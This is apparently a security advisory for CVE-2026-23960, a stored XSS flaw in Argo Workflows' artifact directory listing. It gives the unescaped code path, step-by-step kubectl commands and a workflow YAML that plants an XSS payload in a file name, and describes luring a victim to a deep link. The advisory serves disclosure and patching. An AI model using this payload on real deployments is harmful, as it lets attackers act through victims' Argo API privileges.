CVE-2026-23960: Argo Workflows affected by stored XSS in the artifact directory listing

Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.

Details The directory listing response in server/artifacts/artifactserver.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.

https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifactserver.go#L194-L244

PoC 1. Deploy Argo Workflows: kubectl create ns argo kubectl apply --server-side -f manifests/base/crds/full kubectl apply --server-side -k manifests/quick-start/postgres 2. Port‑forward Argo Server: kubectl -n argo port-forward deploy/argo-server 2746:2746 3. Create the PoC workflow: yml cat > /tmp/argo-xss.yaml <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: xss-artifact-test- spec: entrypoint: main templates: - name: main container: image: alpine command: [sh, -c] args: - | mkdir -p /tmp/artifacts touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html' outputs: artifacts: - name: dir path: /tmp/artifacts archive: none: {} EOF kubectl -n argo create -f /tmp/argo-xss.yaml 4. Wait for completion: kubectl -n argo get wf -w 5. Get the node ID: kubectl -n argo get wf <wf-name> \ -o jsonpath='{range .status.nodes.}{.id}{"\t"}{.displayName}{"\n"}{end}' 6. Open the listing: https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/

<img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" />

Impact - The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API. - The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.

As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may): - Read information about the victim’s workflows. - Create or delete workflows.